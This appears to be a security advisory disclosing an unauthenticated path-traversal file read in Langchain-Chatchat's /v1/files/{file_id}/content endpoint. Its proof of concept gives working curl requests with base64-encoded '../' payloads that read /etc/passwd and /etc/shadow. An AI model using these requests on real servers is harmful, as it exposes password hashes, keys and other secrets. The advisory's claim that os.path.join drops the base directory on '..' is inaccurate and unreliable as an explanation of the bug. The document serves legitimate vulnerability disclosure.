[SECURITY] Arbitrary file read via path traversal in /v1/files/{file_id}/content (CWE-22, CVSS 8.1)

Author: Jiecub3Created Sep 22, 2026Updated Sep 22, 2026

Langchain-Chatchat /v1/files/{file_id}/content Arbitrary File Read

Summary

The retrieve_file_content endpoint passes the URL path parameter file_id directly to _get_file_path, which uses os.path.join(BASE_TEMP_DIR, "openai_files", file_id) to construct the path and then returns the file content via FileResponse. The file_id parameter has no validation. An attacker constructs a base64-encoded ../../../../../etc/passwd as file_id, and os.path.join discards the prefix when encountering .., achieving root-privilege arbitrary file read (verified reading /etc/passwd 839B + /etc/shadow 474B including root hash line). Can read SSH keys, DB configs, process environment variables, etc.

Affected Version & Commit

Vulnerability Description

The retrieve_file_content endpoint passes the URL path parameter file_id directly to the _get_file_path function. This function uses os.path.join(BASE_TEMP_DIR, "openai_files", file_id) to construct the path, then returns the file content via FileResponse. The file_id parameter has no validation whatsoever.

An attacker constructs a path traversal payload: base64-encode ../../../../../etc/passwd and use it as file_id. Python's os.path.join discards the prefix (base dir) when encountering path components containing .., actually reading /etc/passwd. Verified successfully reading /etc/passwd (839B, 18 users) and /etc/shadow (474B, including root hash line), proving the service runs with root privileges.

Affected Endpoints

  • GET /v1/files/{file_id}/content (port 7861)

Exploitation Conditions

  • Exploitable with default configuration, no authentication required

Proof of Concept

bash
# Step 1: Construct path traversal payload = base64(../../../../../etc/passwd)
B64=$(printf '../../../../../etc/passwd' | base64)   # Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

# Step 2: GET /v1/files/{file_id}/content, _get_file_path uses os.path.join with file_id
curl -s 'http://127.0.0.1:7861/v1/files/Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==/content'
# Expected: HTTP 200, returns full /etc/passwd content (root:x:0:0:root:/root:/bin/bash ...)
#        ↑ os.path.join(BASE, "openai_files", "../../etc/passwd") encounters .. and discards prefix, reads /etc/passwd

# Step 3 (verify root privilege): read /etc/shadow (root-only file)
curl -s 'http://127.0.0.1:7861/v1/files/Li4vLi4vLi4vLi4vLi4vZXRjL3NoYWRvdw==/content'
# Expected: HTTP 200, returns /etc/shadow (root:*:19947:0:99999:7::: ...)
#        ↑ root-only file readable, proves service runs as root

Verified: /etc/passwd (839B, 18 users) + /etc/shadow (474B, including root hash line) both successfully read.

Impact

An unauthenticated attacker can read any file within root privilege scope on the server, including /etc/shadow (root password hashes), SSH private keys, database configuration files, process environment variables, etc., causing serious sensitive information disclosure.

Severity

CVSS v3.1: 8.1 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CWE: CWE-22 (Path Traversal)

Credit

  • Jiecub3 (GitHub ID: 87791178)
  • Aur0ra-m (GitHub ID: 103031059)
  • lz2y (GitHub ID: 55266300)

Source: chatchat-space/Langchain-Chatchat